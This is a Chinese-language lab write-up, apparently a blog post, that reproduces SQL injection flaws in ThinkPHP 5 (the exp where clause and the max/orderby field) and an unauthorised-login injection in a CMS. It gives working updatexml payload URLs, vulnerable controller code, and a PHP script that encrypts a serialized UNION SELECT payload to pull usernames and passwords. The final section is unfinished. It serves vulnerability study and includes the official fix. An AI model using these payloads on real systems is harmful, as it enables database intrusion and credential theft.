目录
1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)
1.1环境配置
1.1.1将 composer.json 文件的 require 字段设置成如下:
1.1.2设置application/index/controller/Index.php 文件
1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。编辑编辑
1.1.4Payload触发SQL注入
1.2漏洞分析
2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)
2.1漏洞环境
2.1.1将 composer.json 文件的 require 字段设置成如下:
2.1.2并配置 application/index/controller/Index.php
2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace
编辑
2.1.4漏洞利用
2.2漏洞分析
2.3漏洞修复
3、cms的sql注入
3.1第一个漏洞,未授权登录
3.1.1查看admin.php,发现构造函数可以跳过admin的限制
3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以
3.2接下来如何编写?
3.2.1.先写安全码
3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行
3.2.3访问页面
3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参
1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)
1.1环境配置
本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本
1.1.1将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}
1.1.2设置application/index/controller/Index.php 文件
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username');
$result = db('users')->where('username','exp',$username)->select();
return 'select success';
}
}
1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。
并在数据库中创建好users表
1.1.4Payload触发SQL注入
http://127.0.0.1/think/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
1.2漏洞分析
程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,然后进到thinkphp/helper.php中的db方法,再进到thinkphp/library/think/db/Query.php中where方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句
此处调用$this->builder的select方法,而此处$this->builder 为think/db/builder/Mysql类,继承于Builder类,因此调用的是Builder类的select方法
在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据,跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数,此处 $where 经过 buildWhere 方法处理后返回 $whereStr,期间调用 parseWhereItem 方法
继续跟进 buildWhere 函数,发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。我们发现当操作符等于 EXP 时,将来自用户的数据直接拼接进了 SQL 语句,最终导致了 SQL注入漏洞 。
2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)
2.1漏洞环境
本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22
2.1.1将 composer.json 文件的 require 字段设置成如下:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.25"
}
2.1.2并配置 application/index/controller/Index.php
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}
2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');
2.1.4漏洞利用
index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23
2.2漏洞分析
用户可控数据未经过滤,传入 Query 类的 max 方法进行聚合查询语句构造,接着调用本类的 aggregate 方法,本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 SQL 注入问题,我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法,在该方法中,我们可以明显看到程序将用户可控变量 $field 经过 parseKey 方法处理后,与 SQL 语句进行了拼接。下面就来具体看看 parseKey 方法
Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法 ,该方法会调用 Builder 类的 select 方法来构造 SQL 语句
经过一个拼接得到的$field=MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max
然后看value(),其中最重要的就是生成SQL语句处
$sql=$this->builder->select(%query);
Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),
将$field
数组的值逐个传入parseKey中检查,然后再往$array
中添加值,$array
数组以逗号合并起来,得到$fieldStr
上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则
2.3漏洞修复
官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。
3、cms的sql注入
先搭建环境成功登录网站
3.1第一个漏洞,未授权登录
3.1.1查看admin.php,发现构造函数可以跳过admin的限制
http://127.0.0.1/cms/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1
这样就完全符合构造函数的要求,可以进入网站后台,拿到cookie安全码
$args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
$user=$user->getrow(unserialize($args));
注释:cookie_password这里先拿到网站的安全码,在把你的提交$args经过base64_decode的解码,在xtea_decrypt这个函数进行解密,全部解密后在进行一个反序列化unserialize,反序列化用getrow方法查询到的结果获取数据库第一行
3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以
<?php
function xxtea_encrypt($str, $key) {
if ($str == "") {
return "";
}
$v = str2long($str, true);
$k = str2long($key, false);
if (count($k) < 4) {
for ($i = count($k); $i < 4; $i++) {
$k[$i] = 0;
}
}
$n = count($v) - 1;
$z = $v[$n];
$y = $v[0];
$delta = 0x9E3779B9;
$q = floor(6 + 52 / ($n + 1));
$sum = 0;
while (0 < $q--) {
$sum = int32($sum + $delta);
$e = $sum >> 2 & 3;
for ($p = 0; $p < $n; $p++) {
$y = $v[$p + 1];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$p] = int32($v[$p] + $mx);
}
$y = $v[0];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$n] = int32($v[$n] + $mx);
}
return long2str($v, false);
}
function str2long($s, $w) {
$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
$v = array_values($v);
if ($w) {
$v[count($v)] = strlen($s);
}
return $v;
}
function long2str($v, $w) {
$len = count($v);
$n = ($len - 1) << 2;
if ($w) {
$m = $v[$len - 1];
if (($m < $n - 3) || ($m > $n)) return false;
$n = $m;
}
$s = array();
for ($i = 0; $i < $len; $i++) {
$s[$i] = pack("V", $v[$i]);
}
if ($w) {
return substr(join('', $s), 0, $n);
}
else {
return join('', $s);
}
}
function int32($n) {
while ($n >= 2147483648) $n -= 4294967296;
while ($n <= -2147483649) $n += 4294967296;
return (int)$n;
}
3.2接下来如何编写?
3.2.1.先写安全码
3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行
在index.php开头添加以下代码:
$key = '9a35ab2c5b5926c5dd4b29adc840df1c';
$table = array(
'userid`=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1#'
);
echo base64_encode(xxtea_encrypt(serialize($table), $key));
echo base64_encode(xxtea_encrypt(serialize($table), $key));
要和前面顺序相反,先序列号在加密在解码
3.2.3访问页面
3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参
te=default
a8DEYpBZyT5V3k16gb9MEL96E%2bCifLZChPA65C7qa4SyDMA0flrrsPkHG6fNuBMrLiq9854vDajpNlL65AyrtEiqhcdIlrFr7hZLpGdeQMQLxHQEOKWCWoadMry14kySpCg4TR0%2fPmh0hvOLY1tkmbNvS7wjCy2EarMtT8JOtlGFMdbIgMBNK%2fMasTNEvWuUbJsWE%2fLzs8hasQc9
正常运行后会产生以下信息
这里只拿到了名字,密码还没拿到,还在解决